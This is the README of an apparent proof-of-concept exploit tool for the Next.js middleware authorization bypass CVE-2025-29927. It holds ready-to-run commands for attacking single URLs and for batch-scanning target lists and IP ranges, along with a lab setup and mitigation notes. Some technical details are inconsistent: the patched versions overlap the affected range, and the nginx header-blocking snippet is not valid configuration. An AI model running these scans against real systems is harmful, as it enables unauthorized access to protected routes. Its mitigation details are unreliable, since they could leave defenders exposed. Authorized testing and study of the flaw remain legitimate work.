
CVE-2025-29927 - Next.js漏洞测试工具
⚠️ Avis légal : Cet outil est destiné uniquement à la recherche en sécurité, aux tests d'intrusion autorisés et à des fins éducatives. L'utiliser sur des systèmes cibles sans autorisation explicite est illégal et contraire à l'éthique.
CVE-2025-29927 est une vulnérabilité de sécurité critique dans Next.js, permettant à un attaquant de contourner les contrôles d'autorisation basés sur le middleware en exploitant le traitement incorrect de l'en-tête x-middleware-subrequest.
| Propriété | Valeur |
|---|---|
| ID CVE | CVE-2025-29927 |
| Score CVSS | 9.8 (Critique) |
| Versions affectées | Next.js 13.4.0 - 15.2.3 |
| Versions corrigées | Next.js 14.2.25+, 15.2.3+ |
| Date de découverte | 21 mars 2025 |
| Type de vulnérabilité | Contournement d'autorisation |
Cause racine : Le middleware Next.js traite incorrectement l'en-tête x-middleware-subrequest, considérant les requêtes contenant cet en-tête comme des sous-requêtes internes de confiance, contournant ainsi les vérifications d'autorisation.
Impact : Un attaquant peut accéder à des routes protégées (comme /admin, /api/sensitive) sans authentification.
requests)# Cloner le dépôt
git clone https://github.com/hujiaozhuzhu/CVE-2025-29927-POC.git
cd CVE-2025-29927-POC
# Installer les dépendances
pip install -r requirements.txt
python exploit/cve_2025_29927.py -u http://127.0.0.1:3000
# Chemin personnalisé d'administration
python exploit/cve_2025_29927.py -u http://target.com -p /admin
# Sortie détaillée
python exploit/cve_2025_29927.py -u http://target.com -v
# Enregistrer les résultats dans un fichier
python exploit/cve_2025_29927.py -u http://target.com -o results.txt
# Scanner plusieurs cibles à partir d'un fichier
python exploit/batch_scanner.py -f targets.txt
# Scanner une plage IP
python exploit/batch_scanner.py --range 192.168.1.0-255
cd target
docker-compose up -d
Accéder à l'application vulnérable : http://localhost:3000
cd target
npm install
npm run dev
Requête normale : Envoyer une requête GET sans en-tête d'exploitation
Requête d'exploitation : Envoyer une requête GET avec x-middleware-subrequest: 1
Mettre à jour Next.js
npm install next@latest
# ou
npm install [email protected]
Bloquer l'en-tête vulnérable dans le proxy inverse
location / {
deny x-middleware-subrequest;
# ... reste de la configuration
}
# Exécuter le test de vulnérabilité
python exploit/cve_2025_29927.py -u http://localhost:3000 -t
# Exécuter la suite de tests
python tests/test_exploit.py
Ce projet est sous licence MIT - voir le fichier LICENSE.
Important : Cet outil est destiné uniquement à des fins éducatives et de tests de sécurité autorisés.
En utilisant cet outil, vous acceptez :
Si vous trouvez un problème avec cet outil ou découvrez une nouvelle vulnérabilité, signalez-le de manière responsable :
Souvenez-vous : La recherche en sécurité doit toujours être éthique et légale. Utilisez vos compétences pour rendre Internet plus sûr ! 🛡️